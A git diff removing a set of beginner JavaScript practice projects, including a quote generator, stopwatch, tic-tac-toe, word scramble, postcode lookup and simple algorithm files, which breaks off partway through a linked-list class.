-@-webkit-keyframes text_anim { - 0% {text-shadow: 0 0 20px #6da2ff;} - 50% {text-shadow: none;} - 100% {text-shadow: 0 0 20px #6da2ff;} -} -@keyframes text_anim { - 0% {text-shadow: 0 0 20px #6da2ff;} - 50% {text-shadow: none;} - 100% {text-shadow: 0 0 20px #6da2ff;} -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Landing_page_links/recommend.html b/Add Code Here/JAVASCRIPT/Landing_page_links/recommend.html deleted file mode 100644 index 2e3ba348ed4..00000000000 --- a/Add Code Here/JAVASCRIPT/Landing_page_links/recommend.html +++ /dev/null @@ -1,30 +0,0 @@ - - - - - - - Document - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Landing_page_links/style.css b/Add Code Here/JAVASCRIPT/Landing_page_links/style.css deleted file mode 100644 index 892c760846e..00000000000 --- a/Add Code Here/JAVASCRIPT/Landing_page_links/style.css +++ /dev/null @@ -1,8 +0,0 @@ -@tailwind base; -@tailwind components; -@layer components { - .recomend { - @apply rounded-md bg-gray-400 p-0 max-h-8 w-auto flex hover:underline hover:bg-zinc-300 overflow-hidden ; - } -} -@tailwind utilities; \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Landing_page_links/tailwind.config.js b/Add Code Here/JAVASCRIPT/Landing_page_links/tailwind.config.js deleted file mode 100644 index 731fda8e1d8..00000000000 --- a/Add Code Here/JAVASCRIPT/Landing_page_links/tailwind.config.js +++ /dev/null @@ -1,7 +0,0 @@ -module.exports = { - content: ["*"], - theme: { - extend: {}, - }, - plugins: [], -} diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/.idea/.gitignore b/Add Code Here/JAVASCRIPT/Quote Generator/.idea/.gitignore deleted file mode 100644 index b58b603fea7..00000000000 --- a/Add Code Here/JAVASCRIPT/Quote Generator/.idea/.gitignore +++ /dev/null @@ -1,5 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Editor-based HTTP Client requests -/httpRequests/ diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/.idea/Quote Generator.iml b/Add Code Here/JAVASCRIPT/Quote Generator/.idea/Quote Generator.iml deleted file mode 100644 index 0c8867d7e17..00000000000 --- a/Add Code Here/JAVASCRIPT/Quote Generator/.idea/Quote Generator.iml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/.idea/modules.xml b/Add Code Here/JAVASCRIPT/Quote Generator/.idea/modules.xml deleted file mode 100644 index ea635416ba8..00000000000 --- a/Add Code Here/JAVASCRIPT/Quote Generator/.idea/modules.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_2.jpg b/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_2.jpg deleted file mode 100644 index 693fa43ca4d..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_2.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_3.jpg b/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_3.jpg deleted file mode 100644 index 01abc6ea7a9..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_3.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_4.png b/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_4.png deleted file mode 100644 index b16639ec9ce..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/lib_4.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/library.jpg b/Add Code Here/JAVASCRIPT/Quote Generator/Assests/library.jpg deleted file mode 100644 index 1fe298086ef..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Quote Generator/Assests/library.jpg and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/Script.js b/Add Code Here/JAVASCRIPT/Quote Generator/Script.js deleted file mode 100644 index 3a2483eb8e7..00000000000 --- a/Add Code Here/JAVASCRIPT/Quote Generator/Script.js +++ /dev/null @@ -1,46 +0,0 @@ -const quoteEl = document.querySelector('.quote'); -const personEl = document.querySelector('.person'); -const btnEl = document.querySelector('.generator'); - - -const quotes = [{ - quote: `"The best way to find yourself is to lose yourself in the service of others."`, - person: ` Mahatma Gandhi` -}, { - quote: `"If you want to live a happy life, tie it to a goal, not to people or things."`, - person: ` Albert Einstein` -}, { - quote: `"At his best, man is the noblest of all animals; separated from law and justice he is the worst."`, - person: `Aristotle` -}, { - quote: `"Your time is limited, so dont waste it living someone else's life."`, - person: ` Steve Jobs` -}, { - quote: `"Tell me and I forget. Teach me and I remember. Involve me and I learn."`, - person: ` Benjamin Franklin` -}, { - quote: `"If you look at what you have in life, you'll always have more. If you look at what you don't have in life, you'll never have enough."`, - person: `Oprah Winfrey` -}, { - quote: `"t does not matter how slowly you go as long as you do not stop."`, - person: `Confucius` -}, { - quote: `"Our lives begin to end the day we become silent about things that matter."`, - person: `Martin Luther King, Jr.` -}, { - quote: `"Remember that not getting what you want is sometimes a wonderful stroke of luck."`, - person: `Dalai Lama` -}, { - quote: `"The journey of a thousand miles begins with one step."`, - person: `Lao Tzu` -}, ]; - -btnEl.addEventListener('click',function (){ - - let random = Math.floor(Math.random() * quotes.length); - - quoteEl.textContent = quotes[random].quote; - personEl.textContent = ` -${quotes[random].person} `; - - -}) \ No newline at end of file diff --git "a/Add Code Here/JAVASCRIPT/Quote Generator/Untitled (500 \303\227 400px).gif" "b/Add Code Here/JAVASCRIPT/Quote Generator/Untitled (500 \303\227 400px).gif" deleted file mode 100644 index 889639ae666..00000000000 Binary files "a/Add Code Here/JAVASCRIPT/Quote Generator/Untitled (500 \303\227 400px).gif" and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/index.html b/Add Code Here/JAVASCRIPT/Quote Generator/index.html deleted file mode 100644 index f10c8aa685a..00000000000 --- a/Add Code Here/JAVASCRIPT/Quote Generator/index.html +++ /dev/null @@ -1,35 +0,0 @@ - - - - - - - - Document - - - -
- JavaScript Quote Generator -
- -
-
- - "At his best, man is the noblest of all animals; separated from law and justice he is the worst." - -
-
- - Aristotle -
- -
- - - - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/styles.css b/Add Code Here/JAVASCRIPT/Quote Generator/styles.css deleted file mode 100644 index d63aa3431b6..00000000000 --- a/Add Code Here/JAVASCRIPT/Quote Generator/styles.css +++ /dev/null @@ -1,78 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@200&family=Open+Sans:wght@300;500;600;700;800&display=swap'); - -*{ - margin: 0; - padding: 0; - box-sizing: border-box; - font-family: 'Open Sans', sans-serif ; -} - -body{ - display: flex; - height: 100vh; - justify-content: center; - align-items:center; - flex-direction: column; - background: url("./Assests/library.jpg") no-repeat center center/cover ; - text-align:center ; -} - -.heading{ - border: 2px solid black; - font-weight:bold; - font-size: 1.7rem; - background: #313131; - color: #ffead4; - padding: 0.5rem 1rem; - border-radius: 5px; - margin:1.2rem; -} - -.main-content{ - background: #525252; - width: 60%; - border-radius: 5px; - margin:1.2rem auto; - padding: 2rem; - box-shadow: 0 0 5px 5px #343434; - -} - -.text-area{ - margin: 1rem 0 1rem 0; - font-size:1.3rem; - line-height: 2rem; - font-weight: 500; - color: #ffce83; - height:15vh; -} - -.main-content .person{ - margin :1rem; - font-family:'Montserrat',"sans-serif"; - color: #ffead4; - font-size:1rem; - font-weight: bold; - letter-spacing: 0.3rem ; - text-transform: uppercase; -} - -.main-content .generator { - border: 2px solid black; - border-radius: 5px; - padding: 0.5rem 1rem; - color: #ff5151; - background-color: #343434; - -} - -.main-content .generator:hover{ - background-color: #212121; -} -.main-content .generator:active{ - background-color:#343434; -} - - - - diff --git a/Add Code Here/JAVASCRIPT/RecursionCountdown.js b/Add Code Here/JAVASCRIPT/RecursionCountdown.js deleted file mode 100644 index ac3afa42df2..00000000000 --- a/Add Code Here/JAVASCRIPT/RecursionCountdown.js +++ /dev/null @@ -1,10 +0,0 @@ -function countup(n) { - if (n < 1) { - return []; - } else { - const countArray = countup(n - 1); - countArray.push(n); - return countArray; - } -} -console.log(countup(5)); diff --git a/Add Code Here/JAVASCRIPT/Stopwatch/index.html b/Add Code Here/JAVASCRIPT/Stopwatch/index.html deleted file mode 100644 index d53d2c5151b..00000000000 --- a/Add Code Here/JAVASCRIPT/Stopwatch/index.html +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - Stopwatch - - - - - -
-

STOPWATCH

-
-
-
- 00 : - 00 : - 00 : - 00 -
- -
- - - -
-
- - -
-
- -
- - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Stopwatch/script.js b/Add Code Here/JAVASCRIPT/Stopwatch/script.js deleted file mode 100644 index 7f5fe67d3fb..00000000000 --- a/Add Code Here/JAVASCRIPT/Stopwatch/script.js +++ /dev/null @@ -1,105 +0,0 @@ -let start = document.querySelector(".start"); -let stop = document.querySelector(".stop"); -let reset = document.querySelector(".reset"); - -let hours = document.querySelector(".hour"); -let mins = document.querySelector(".min"); -let secs = document.querySelector(".sec"); -let tens = document.querySelector(".tens"); - -let hour = 0; -let min = 0; -let sec = 0; -let ten = 0; - -let interval; - -stop.style.pointerEvents = "none"; -reset.style.pointerEvents = "none"; - -start.addEventListener("click", function () { - clearInterval(interval); - interval = setInterval(start_timer, 10); - start.style.pointerEvents = "none"; - stop.style.pointerEvents = "visible"; - reset.style.pointerEvents = "visible"; -}); - -stop.addEventListener("click", function () { - clearInterval(interval); - start.style.pointerEvents = "visible"; - stop.style.pointerEvents = "none"; - -}); - -reset.addEventListener("click", function () { - clearInterval(interval); - hour = 00; - min = 00; - sec = 00; - ten = 00; - hours.innerHTML = hour+"0 :"; - mins.innerHTML = min+"0 :"; - secs.innerHTML = sec+"0 :"; - tens.innerHTML = ten+"0"; - start.style.pointerEvents = "visible"; - reset.style.pointerEvents = "none"; - stop.style.pointerEvents = "none"; -}); - -function start_timer() { - if (ten < 99) { - ten++; - tens.innerHTML = ten < 10 ? "0" + ten : ten; - } - else { - ten = 0; - tens.innerHTML = "00" - if (sec < 59) { - sec += 1; - secs.innerHTML = sec < 10 ? " 0" + sec + " :" : sec + " :"; - } - else { - sec = 0; - secs.innerHTML = " 00 :"; - if (min < 59) { - min += 1; - mins.innerHTML = min < 10 ? " 0" + min + " :" : min + " :"; - } - else { - min = 0; - mins.innerHTML = " 00 :"; - hour += 1; - hours.innerHTML = hour < 10 ? "0" + hour + " :" : hour + " :"; - } - } - } -} - -// Function for laps -let lap = document.querySelector(".lap"); -let clear_lap = document.querySelector(".clear_lap"); - -let lap_output = document.querySelector(".lap_output"); -let lap_count = 1; - -clear_lap.style.pointerEvents ="none"; -lap.addEventListener("click", function() { - let h = hour < 10 ? "0" + hour + " :" : hour + " :"; - let m = min < 10 ? " 0" + min + " :" : min + " :"; - let s = sec < 10 ? " 0" + sec + " :" : sec + " :"; - let t = ten < 10 ? "0" + ten : ten; - - let lap_now = "Lap "+lap_count+"-  "+h+m+s+t+"
"; - let laps = lap_output.innerHTML + lap_now; - lap_output.innerHTML = laps; - lap_output.scrollIntoView(); - lap_count++; - clear_lap.style.pointerEvents ="visible"; -}) - -clear_lap.addEventListener("click", function() { - lap_output.innerHTML = " "; - lap_count = 1; - clear_lap.style.pointerEvents ="none"; -}) \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Stopwatch/style.css b/Add Code Here/JAVASCRIPT/Stopwatch/style.css deleted file mode 100644 index e4aecb36079..00000000000 --- a/Add Code Here/JAVASCRIPT/Stopwatch/style.css +++ /dev/null @@ -1,95 +0,0 @@ -*{ - padding: 0; - margin: 0; -} -header{ - height: 10vh; - background: #010225; -} -.container{ - overflow: scroll; -} -body{ - font-family: sans-serif; - font-size: 16px; - text-align: center; - justify-content: center; -} -main{ - - - width: 100%; - - background-color: #010225; - display:flex; - flex-direction: column; - justify-content: center; - align-items: center; - color: aliceblue; -} - -@keyframes shine{ - 0%,100%{ - box-shadow: 0px 0px 30px -12px rgb(255, 208, 0); - } - 50%{ - box-shadow: 0px 0px 30px 3px rgba(255, 209, 2, 0.5); - } -} -.inner{ - width: 235px; - height: 235px; - border-radius: 50%; - background-color: #140337; - display: flex; - justify-content: center; - align-items: center; - animation: shine; - animation-duration: 3s; - animation-iteration-count: infinite; -} - -.text{ - color: rgb(255, 255, 255); - font-size: 30px; -} -.btns_up{ - display: flex; - justify-content: space-between; - width:250px; - margin-top: 30px; -} -.btns_down{ - display: flex; - justify-content: space-evenly; - width:250px; - margin-top: 30px; -} -.lap_output{ - padding: 20px; - margin: 15px; - font-size: 25px; - border: 1px solid white; - overflow-y: scroll; - max-height: 15vh; - width: 300px; - overflow-y:auto; -} - -button{ - width: 60px; - height: 60px; - border-radius: 50%; - border: 1px solid white; - background-color: #040338; - color: rgb(237, 10, 10); - font-size: 18px; - font-weight: bold; -} - -button:hover{ - background-color: rgb(17, 2, 83); - color: whitesmoke; - cursor:pointer; - box-shadow: 0px 0px 40px -8px #F6B400; -} diff --git a/Add Code Here/JAVASCRIPT/TicTacToeGame/index.html b/Add Code Here/JAVASCRIPT/TicTacToeGame/index.html deleted file mode 100644 index 8b2211c9508..00000000000 --- a/Add Code Here/JAVASCRIPT/TicTacToeGame/index.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - - - - - - Tic-Tac-Toe - - -
-
-
-
-
-
-
-
-
-
-
-
-
- -
- - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/TicTacToeGame/script.js b/Add Code Here/JAVASCRIPT/TicTacToeGame/script.js deleted file mode 100644 index 749d5f2e341..00000000000 --- a/Add Code Here/JAVASCRIPT/TicTacToeGame/script.js +++ /dev/null @@ -1,93 +0,0 @@ -const X_PLAYER = 'x' -const O_PLAYER = 'circle' -const POSSIBLE_WINS = [ - [0, 1, 2], - [3, 4, 5], - [6, 7, 8], - [0, 3, 6], - [1, 4, 7], - [2, 5, 8], - [0, 4, 8], - [2, 4, 6] -] - -const cellContent = document.querySelectorAll('[data-cell]') -const boardFeature = document.getElementById('gameBoard') -const winResult = document.getElementById('win-alert') -const replay = document.getElementById('restartGame') -const winAlert = document.getElementById('win-alert-text') - -let playerTwo = false - -beginGame() - -function beginGame() { - - playerTwo = false - - cellContent.forEach(cell => { - cell.classList.remove(X_PLAYER) - cell.classList.remove(O_PLAYER) - cell.removeEventListener('click', handleCellClick) - cell.addEventListener('click', handleCellClick, { once: true }) - }) - - setBoardHoverClass() - winResult.classList.remove('show') -} - -function handleCellClick(evt) { - const cell = evt.target - const activeClass = playerTwo ? O_PLAYER : X_PLAYER - placeMark(cell, activeClass) - if (gameCheck(activeClass)) { - completeGame(false) - } else if (drawn()) { - completeGame(true) - } else { - changeTurn() - setBoardHoverClass() - } -} - -function completeGame(draw) { - if (draw) { - winResult.innerText = 'No Winner. Tied!' - } else { - winResult.innerText = `Player with ${playerTwo ? "O's" : "X's"} has won!` - } - winResult.classList.add('show') -} - -function drawn() { - return [...cellContent].every(cell => { - return cell.classList.contains(X_PLAYER) || cell.classList.contains(O_PLAYER) - }) -} - -function placeMark(cell, activeClass) { - cell.classList.add(activeClass) -} - -function changeTurn() { - playerTwo = !playerTwo -} - -function setBoardHoverClass() { - boardFeature.classList.remove(X_PLAYER) - boardFeature.classList.remove(O_PLAYER) - - if (playerTwo) { - boardFeature.classList.add(O_PLAYER) - } else { - boardFeature.classList.add(X_PLAYER) - } -} - -function gameCheck(activeClass) { - return POSSIBLE_WINS.some(combination => { - return combination.every(index => { - return cellContent[index].classList.contains(activeClass) - }) - }) -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/TicTacToeGame/style.css b/Add Code Here/JAVASCRIPT/TicTacToeGame/style.css deleted file mode 100644 index 7624ff6fe38..00000000000 --- a/Add Code Here/JAVASCRIPT/TicTacToeGame/style.css +++ /dev/null @@ -1,118 +0,0 @@ -:root { - --cell-size: 120px; - --color: #fd81a2; - --color-set: #d80d02; - --line-width: 15px; -} - -body { - margin: 0; -} - -.gameBoard { - width: 100vw; - height: 100vh; - display: grid; - justify-content: center; - align-content: center; - justify-items: center; - align-items: center; - grid-template-columns: repeat(3, auto); -} - -.cell { - width: var(--cell-size); - height: var(--cell-size); - border: 1px solid #000; - display: flex; - justify-content: center; - align-items: center; - position: relative; - cursor: pointer; -} - -.cell:nth-child(1), -.cell:nth-child(2), -.cell:nth-child(3) { - border-top: none; -} - -.cell:nth-child(1), -.cell:nth-child(4), -.cell:nth-child(7) { - border-left: none; -} - -.cell:nth-child(3), -.cell:nth-child(6), -.cell:nth-child(9) { - border-right: none; -} - -.cell:nth-child(7), -.cell:nth-child(8), -.cell:nth-child(9) { - border-bottom: none; -} - -.cell.x, -.cell.circle { - cursor: not-allowed; -} - -.gameBoard.x .cell:not(.circle):not(.x):hover { - background: linear-gradient(to top right, transparent calc(50% - var(--line-width) / 2), var(--color) calc(50% - var(--line-width) / 2) calc(50% + var(--line-width) / 2), transparent calc(50% + var(--line-width) / 2)), linear-gradient(to bottom right, transparent calc(50% - var(--line-width) / 2), var(--color) calc(50% - var(--line-width) / 2), transparent calc(50% + var(--line-width) / 2)); - background-size: 80% 80%; - background-repeat: no-repeat; - background-position: center; -} - -.cell:not(.circle).x { - background: linear-gradient(to top right, transparent calc(50% - var(--line-width) / 2), var(--color-set) calc(50% - var(--line-width) / 2) calc(50% + var(--line-width) / 2), transparent calc(50% + var(--line-width) / 2)), linear-gradient(to bottom right, transparent calc(50% - var(--line-width) / 2), var(--color-set) calc(50% - var(--line-width) / 2) calc(50% + var(--line-width) / 2), transparent calc(50% + var(--line-width) / 2)); - background-size: 80% 80%; - background-repeat: no-repeat; - background-position: center; -} - -.gameBoard.circle .cell:not(.circle):not(.x):hover { - background: radial-gradient(var(--color) 60%, transparent 60%); -} - -.cell:not(.x).circle { - background: radial-gradient(var(--color-set) 60%, transparent 60%); -} - -.win-alert { - display: none; - position: fixed; - top: 0; - left: 0; - right: 0; - bottom: 0; - background-color: var(--color-set); - justify-content: center; - align-items: center; - color: #fff; - font-size: 5rem; - font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; - flex-direction: column; -} - -.win-alert button { - border-radius: 10px; - font-size: 3rem; - background-color: #fff; - border: 1px solid var(--color-set); - padding: 0.25em 0.5em; - cursor: pointer; -} - -.win-alert button:hover { - background-color: var(--color-set); - color: #fff; - border-color: #fff; -} - -.win-alert.show { - display: flex; -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Word Scramble/Output 1.png b/Add Code Here/JAVASCRIPT/Word Scramble/Output 1.png deleted file mode 100644 index 93b5d9a3d92..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Word Scramble/Output 1.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Word Scramble/Output 2.png b/Add Code Here/JAVASCRIPT/Word Scramble/Output 2.png deleted file mode 100644 index 21c65e3dec9..00000000000 Binary files a/Add Code Here/JAVASCRIPT/Word Scramble/Output 2.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/Word Scramble/congrats.html b/Add Code Here/JAVASCRIPT/Word Scramble/congrats.html deleted file mode 100644 index 2901119cedf..00000000000 --- a/Add Code Here/JAVASCRIPT/Word Scramble/congrats.html +++ /dev/null @@ -1,67 +0,0 @@ - - - - - JumBler-Result - - - -
- -
-
-

0

-
- -
-

- hello -

-
- -
- -
- -
- -
- - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Word Scramble/index.html b/Add Code Here/JAVASCRIPT/Word Scramble/index.html deleted file mode 100644 index 80a4bcf7834..00000000000 --- a/Add Code Here/JAVASCRIPT/Word Scramble/index.html +++ /dev/null @@ -1,36 +0,0 @@ - - - - - - JumBler - - - - -
- -
-
-

0

-
- -
-

-
- -
- - -
- -
- -
- - - - - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Word Scramble/index.js b/Add Code Here/JAVASCRIPT/Word Scramble/index.js deleted file mode 100644 index b70f00c4e90..00000000000 --- a/Add Code Here/JAVASCRIPT/Word Scramble/index.js +++ /dev/null @@ -1,115 +0,0 @@ -let words= -[ - { - jumbled:"diwoswn", - correct:"windows" - }, - { - jumbled:"mputcoer", - correct:"computer" - }, - { - jumbled:"dnodrai", - correct:"android" - }, - { - jumbled:"beaydkor", - correct:"keyboard" - }, - { - jumbled:"arphenoe", - correct:"earphone" - }, - { - jumbled:"seuom", - correct:"mouse" - }, - { - jumbled:"latbet", - correct:"tablet" - }, - { - jumbled:"podaucth", - correct:"touchpad" - }, - { - jumbled:"oremym", - correct:"memory" - }, - { - jumbled:"sicrmofot", - correct:"microsoft" - } - -] - -let currentWord=0; -let score=0; - -document.querySelector("#inp").value=""; - -function displayWord() -{ - document.querySelector("#jumword").innerText = - words[currentWord].jumbled; - - document.querySelector("#score").innerText=score; -} - - -displayWord(); - - -function checkAnswer() -{ - - let answer=document.querySelector("#inp").value; - - if(answer.toLowerCase()===words[currentWord].correct.toLowerCase()){ - - score++; - - } - - if(currentWord==words.length-1){ - - let msg=""; - - if(score===3){ - msg="Amazing game "+score; - } - else if(score===2){ - msg="Good Game "+score - } - else if(score<1){ - msg="Good Try "+score - } - - sessionStorage.setItem("totalScore", score); - window.location.href ="http://127.0.0.1:5500/Day%203%20Game/congrats.html"; - } - else{ - currentWord++; - displayWord(); - document.querySelector("#inp").value=""; - } - - - - -} - - - - - - - - - - - - - - - diff --git a/Add Code Here/JAVASCRIPT/Word Scramble/stylesheet.css b/Add Code Here/JAVASCRIPT/Word Scramble/stylesheet.css deleted file mode 100644 index 774e42c87d6..00000000000 --- a/Add Code Here/JAVASCRIPT/Word Scramble/stylesheet.css +++ /dev/null @@ -1,82 +0,0 @@ -* { - margin: 0; - padding: 0; -} - -body { - height: 100vh; - display: flex; - justify-content: center; - align-items: center; - background-color: #FFE9CC ; - -} - -.container { - height: 500px; - width: 500px; - background-image: linear-gradient(red, yellow); - border-radius: 10px; -} - -.padd { - padding: 30px; -} - -.score { - width: 100%; - display: flex; - justify-content: flex-end; - font-size: 50px; - padding-top: 10px; - padding-bottom: 10px; - -} - -.jumbled { - width: 100%; - padding-top: 20px; - padding-bottom: 20px; - display: flex; - justify-content: center; - font-size: 40px; - text-transform: uppercase; - font-family: segoe UI; - -} - -.user-input { - padding-top: 20px; - padding-bottom: 20px; - display: flex; - flex-direction: column; - -} - -.inp { - height: 40px; - font-size: 18px; - border: 1px solid gray; - border-radius: 10px; - text-indent: 20px; - outline: none; - - -} - -.btn { - padding-top: 15px; - padding-bottom: 15px; - margin: 20px 0 0 180px; - border-radius: 10px; - border: none; - cursor: pointer; - width: 80px; - background-color: #4CAF50; - color: white; - text-transform: uppercase; -} - -.btn:hover { - background-color: #000000; -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/api_call.js b/Add Code Here/JAVASCRIPT/api_call.js deleted file mode 100644 index 7e22e63fbbc..00000000000 --- a/Add Code Here/JAVASCRIPT/api_call.js +++ /dev/null @@ -1,11 +0,0 @@ -function UserAction() { - var xhttp = new XMLHttpRequest(); - xhttp.onreadystatechange = function() { - if (this.readyState == 4 && this.status == 200) { - alert(this.responseText); - } - }; - xhttp.open("POST", "Your Rest URL Here", true); - xhttp.setRequestHeader("Content-type", "application/json"); - xhttp.send("Your JSON Data Here"); -} diff --git a/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/assets/script.js b/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/assets/script.js deleted file mode 100644 index af7c300a041..00000000000 --- a/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/assets/script.js +++ /dev/null @@ -1,20 +0,0 @@ -const inputCep = document.querySelector('#cep') -const btn = document.querySelector('#btn') -const address = document.querySelector('#address') - -function handleClick(e) { - e.preventDefault(); - const cep = inputCep.value; - getCep(cep) -} - -function getCep(cep) { - fetch(`https://viacep.com.br/ws/${cep}/json/`).then((r) => { - return r.json() - }).then((body) => { - address.innerHTML = `

Logradouro: ${body.logradouro}

Bairro: ${body.bairro}

Cidade: ${body.localidade}

Estado: ${body.uf}

` - }) -} - -btn.addEventListener('click', handleClick) - diff --git a/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/assets/style.css b/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/assets/style.css deleted file mode 100644 index f017a2bb053..00000000000 --- a/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/assets/style.css +++ /dev/null @@ -1,123 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500&display=swap'); - -* { - padding: 0; - margin: 0; - box-sizing: border-box; -} - -body { - width: 100%; - height: 100vh; - font-family: 'Montserrat', sans-serif; - font-size: 1rem; - font-weight: 500; -} - -.container { - padding: 5rem 1rem; - display: flex; - flex-direction: column; - justify-content: center; - align-items: center; -} - -h1 { - color: #9A31F8; - text-align: center; -} - -form { - padding: 1rem; - margin: 1rem .5rem; - display: flex; - align-items: center; - justify-items: center; - gap: 1rem; - flex-wrap: wrap; -} - -input { - padding: .5rem; - width: 250px; - height: 40px; - outline: none; - border: 3px solid #9A31F8; - border-radius: 4px; -} - - -#address { - display: flex; - flex-direction: column; - gap: .8rem; - padding: 1rem; -} - - -#btn { - padding: 0.6em 2em; - border: none; - outline: none; - color: rgb(255, 255, 255); - background: #111; - cursor: pointer; - position: relative; - z-index: 0; - border-radius: 10px; - user-select: none; - -webkit-user-select: none; - touch-action: manipulation; -} - -#btn:before { - content: ""; - background: linear-gradient( - 45deg, - #ff0000, - #ff7300, - #fffb00, - #48ff00, - #00ffd5, - #002bff, - #7a00ff, - #ff00c8, - #ff0000 - ); - position: absolute; - top: -2px; - left: -2px; - background-size: 400%; - z-index: -1; - filter: blur(5px); - -webkit-filter: blur(5px); - width: calc(100% + 4px); - height: calc(100% + 4px); - animation: glowing-button-85 20s linear infinite; - transition: opacity 0.3s ease-in-out; - border-radius: 10px; -} - -@keyframes glowing-button-85 { - 0% { - background-position: 0 0; - } - 50% { - background-position: 400% 0; - } - 100% { - background-position: 0 0; - } -} - -#btn:after { - z-index: -1; - content: ""; - position: absolute; - width: 100%; - height: 100%; - background: #9A31F8; - left: 0; - top: 0; - border-radius: 10px; -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/index.html b/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/index.html deleted file mode 100644 index ce9897c8217..00000000000 --- a/Add Code Here/JAVASCRIPT/brazil-search-CEP-JS/index.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - Buscar CEP - - - - -
-

Buscar CEP

-
- - -
-
- -
-
- - - - \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/bubblesort.js b/Add Code Here/JAVASCRIPT/bubblesort.js deleted file mode 100644 index cf4ceb479f9..00000000000 --- a/Add Code Here/JAVASCRIPT/bubblesort.js +++ /dev/null @@ -1,33 +0,0 @@ -// Bubble sort Implementation using Javascript - - -// Creating the bblSort function - function bblSort(arr){ - - for(var i = 0; i < arr.length; i++){ - - // Last i elements are already in place - for(var j = 0; j < ( arr.length - i -1 ); j++){ - - // Checking if the item at present iteration - // is greater than the next iteration - if(arr[j] > arr[j+1]){ - - // If the condition is true then swap them - var temp = arr[j] - arr[j] = arr[j + 1] - arr[j+1] = temp - } - } - } - // Print the sorted array - console.log(arr); -} - - -// This is our unsorted array -var arr = [234, 43, 55, 63, 5, 6, 235, 547]; - - -// Now pass this array to the bblSort() function -bblSort(arr); diff --git a/Add Code Here/JAVASCRIPT/create-tree.js b/Add Code Here/JAVASCRIPT/create-tree.js deleted file mode 100644 index da39dc951dd..00000000000 --- a/Add Code Here/JAVASCRIPT/create-tree.js +++ /dev/null @@ -1,15 +0,0 @@ -//Console.log a tree with a trunk -function tree(length) { - for (i = 1; i <= length; i++) { - console.log("*".repeat(i)); - } - console.log("*".repeat(length)); -} -tree(10); - -// That's a lot of code to write for a tree. I wonder if there is a way to make it shorter? - -// If 200 does not equal 3, make a bigger tree -if (200 !== 3) { - tree(100); -} diff --git a/Add Code Here/JAVASCRIPT/dsa/BinaryHeap.js b/Add Code Here/JAVASCRIPT/dsa/BinaryHeap.js deleted file mode 100644 index 2cf0df2c6d6..00000000000 --- a/Add Code Here/JAVASCRIPT/dsa/BinaryHeap.js +++ /dev/null @@ -1,150 +0,0 @@ -class Node { - constructor(val) { - this.val = val; - this.next = null; - this.prev = null; - } -} - -class DoublyLinkedList { - constructor() { - this.head = null; - this.tail = null; - this.length = 0; - } - - push(val) { - let newNode = new Node(val); - if (this.length === 0) { - this.head = newNode; - this.tail = newNode; - } else { - this.tail.next = newNode; - newNode.prev = this.tail; - this.tail = newNode; - } - this.length++; - return this; - } - - pop() { - if (!this.head) return undefined; - let poppedNode = this.tail; - if (this.length === 1) { - this.head = null; - this.tail = null; - } else { - this.tail = poppedNode.prev; - this.tail.next = null; - poppedNode.prev = null; - } - this.length--; - return poppedNode; - } - - shift() { - if (this.length === 0) return undefined; - let oldHead = this.head; - if (this.length === 1) { - this.head = null; - this.tail = null; - } else { - this.head = oldHead.next; - this.head.prev = null; - oldHead.next = null; - } - this.length--; - return oldHead; - } - - unshift(val) { - let newNode = new Node(val); - if (this.length === 0) { - this.head = newNode; - this.tail = newNode; - } else { - this.head.prev = newNode; - newNode.next = this.head; - this.head = newNode; - } - this.length++; - return this; - } - - get(index) { - if (index < 0 || index >= this.length) return null; - let count, current; - if (index <= this.length / 2) { - count = 0; - current = this.head; - while (count !== 